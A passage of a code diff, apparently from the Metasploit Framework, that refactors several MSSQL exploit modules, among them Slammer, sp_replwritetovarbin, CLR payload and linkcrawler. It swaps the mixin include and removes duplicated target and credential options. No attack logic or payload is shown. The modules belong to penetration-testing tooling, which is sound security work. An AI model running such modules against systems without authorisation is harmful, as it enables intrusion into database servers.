def initialize(info = {}) @@ -38,13 +37,7 @@ def initialize(info = {}) 'DisclosureDate' => '2005-12-08' )) register_options([ - OptBool.new('DISPLAY_RESULTS', [true, "Display the Results to the Screen", true]), - Opt::RHOST, - Opt::RPORT(1433), - OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']), - OptString.new('PASSWORD', [ false, 'The password for the specified username', '']), - OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]), - OptBool.new('USE_WINDOWS_AUTHENT', [ true, 'Use windows authentication (requires DOMAIN option set)', false]), + OptBool.new('DISPLAY_RESULTS', [true, "Display the Results to the Screen", true]) ]) end diff --git a/modules/exploits/windows/mssql/ms02_039_slammer.rb b/modules/exploits/windows/mssql/ms02_039_slammer.rb index 80b40de2735d..159f5e167ab9 100644 --- a/modules/exploits/windows/mssql/ms02_039_slammer.rb +++ b/modules/exploits/windows/mssql/ms02_039_slammer.rb @@ -2,12 +2,11 @@ # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## -require 'metasploit/framework/mssql/metasploit_mixin' class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking - include Metasploit::Framework::MSSQL::MetasploitMixin + include Msf::Exploit::Remote::MSSQL def initialize(info = {}) super(update_info(info, @@ -54,12 +53,7 @@ def initialize(info = {}) register_options( [ - Opt::RPORT(1434), - Opt::RHOST, - OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']), - OptString.new('PASSWORD', [ false, 'The password for the specified username', '']), - OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]), - OptBool.new('USE_WINDOWS_AUTHENT', [ true, 'Use windows authentication (requires DOMAIN option set)', false]), + Opt::RPORT(1434) ]) end diff --git a/modules/exploits/windows/mssql/ms02_056_hello.rb b/modules/exploits/windows/mssql/ms02_056_hello.rb index 61e332f6dd86..0716aa4e7f3f 100644 --- a/modules/exploits/windows/mssql/ms02_056_hello.rb +++ b/modules/exploits/windows/mssql/ms02_056_hello.rb @@ -2,12 +2,10 @@ # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## -require 'metasploit/framework/mssql/metasploit_mixin' -require 'metasploit/framework/tcp/client' class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking - include Metasploit::Framework::MSSQL::MetasploitMixin + include Msf::Exploit::Remote::MSSQL def initialize(info = {}) super(update_info(info, @@ -50,16 +48,6 @@ def initialize(info = {}) 'Platform' => 'win', 'DisclosureDate' => '2002-08-05', 'DefaultTarget' => 0)) - - register_options( - [ - Opt::RPORT(1433), - Opt::RHOST, - OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']), - OptString.new('PASSWORD', [ false, 'The password for the specified username', '']), - OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]), - OptBool.new('USE_WINDOWS_AUTHENT', [ true, 'Use windows authentication (requires DOMAIN option set)', false]), - ]) end def check diff --git a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb index 77cbabe78aac..bd94146ebf2e 100644 --- a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb +++ b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb @@ -2,12 +2,12 @@ # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## -require 'metasploit/framework/mssql/metasploit_mixin' +#working in 6023 class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking - include Metasploit::Framework::MSSQL::MetasploitMixin + include Msf::Exploit::Remote::MSSQL def initialize(info = {}) @@ -245,16 +245,6 @@ def initialize(info = {}) 'DefaultTarget' => 0, 'DisclosureDate' => '2008-12-09' )) - register_options( - [ - Opt::RPORT(1433), - Opt::RHOST, - OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']), - OptString.new('PASSWORD', [ false, 'The password for the specified username', '']), - OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]), - OptBool.new('USE_WINDOWS_AUTHENT', [ true, 'Use windows authentication (requires DOMAIN option set)', false]), - ]) - end def check diff --git a/modules/exploits/windows/mssql/mssql_clr_payload.rb b/modules/exploits/windows/mssql/mssql_clr_payload.rb index 8f2fa8f99d6f..b19b76e78db6 100644 --- a/modules/exploits/windows/mssql/mssql_clr_payload.rb +++ b/modules/exploits/windows/mssql/mssql_clr_payload.rb @@ -2,12 +2,11 @@ # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## -require 'metasploit/framework/mssql/metasploit_mixin' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking - include Metasploit::Framework::MSSQL::MetasploitMixin + include Msf::Exploit::Remote::MSSQL def initialize(info = {}) super(update_info(info, @@ -47,13 +46,7 @@ def initialize(info = {}) register_options( [ - OptString.new('DATABASE', [true, 'The database to load the CLR Assembly into.', 'master']), - Opt::RHOST, - Opt::RPORT(1433), - OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']), - OptString.new('PASSWORD', [ false, 'The password for the specified username', '']), - OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]), - OptBool.new('USE_WINDOWS_AUTHENT', [ true, 'Use windows authentication (requires DOMAIN option set)', false]), + OptString.new('DATABASE', [true, 'The database to load the CLR Assembly into.', 'master']) ] ) end diff --git a/modules/exploits/windows/mssql/mssql_linkcrawler.rb b/modules/exploits/windows/mssql/mssql_linkcrawler.rb index 1aa941ea6d43..2657da933f2d 100644 --- a/modules/exploits/windows/mssql/mssql_linkcrawler.rb +++ b/modules/exploits/windows/mssql/mssql_linkcrawler.rb @@ -2,12 +2,11 @@ # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## -require 'metasploit/framework/mssql/metasploit_mixin' class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking - include Metasploit::Framework::MSSQL::MetasploitMixin + include Msf::Exploit::Remote::MSSQL include Msf::Auxiliary::Report include Msf::Exploit::CmdStager @@ -60,12 +59,7 @@ def initialize(info = {}) [ OptBool.new('DEPLOY', [false, 'Deploy payload via the sysadmin links', false]), OptString.new('DEPLOYLIST', [false,'Comma separated list of systems to deploy to']), - OptString.new('PASSWORD', [true, 'The password for the specified username']), - Opt::RHOST, - Opt::RPORT(1433), - OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']), - OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]), - OptBool.new('USE_WINDOWS_AUTHENT', [ true, 'Use windows authentication (requires DOMAIN option set)', false]), + OptString.new('PASSWORD', [true, 'The password for the specified username']) ]) register_advanced_options( diff --git a/modules/exploits/windows/mssql/mssql_payload.rb b/modules/exploits/windows/mssql/mssql_payload.rb index 87850921b972..7ee098f8efd8 100644 --- a/modules/exploits/windows/mssql/mssql_payload.rb +++ b/modules/exploits/windows/mssql/mssql_payload.rb @@ -2,12 +2,11 @@ # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## -require 'metasploit/framework/mssql/metasploit_mixin' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking - include Metasploit::Framework::MSSQL::MetasploitMixin + include Msf::Exploit::Remote::MSSQL include Msf::Exploit::CmdStager #include Msf::Exploit::CmdStagerDebugAsm #include Msf::Exploit::CmdStagerDebugWrite @@ -64,13 +63,7 @@ def initialize(info = {}) )) register_options( [ - OptString.new('METHOD', [ true, 'Which payload delivery method to use (ps, cmd, or old)', 'cmd' ]), - Opt::RHOST, - Opt::RPORT(1433), - OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']), - OptString.new('PASSWORD', [ false, 'The password for the specified username', '']), - OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]), - OptBool.new('USE_WINDOWS_AUTHENT', [ true, 'Use windows authentication (requires DOMAIN option set)', false]), + OptString.new('METHOD', [ true, 'Which payload delivery method to use (ps, cmd, or old)', 'cmd' ]) ]) end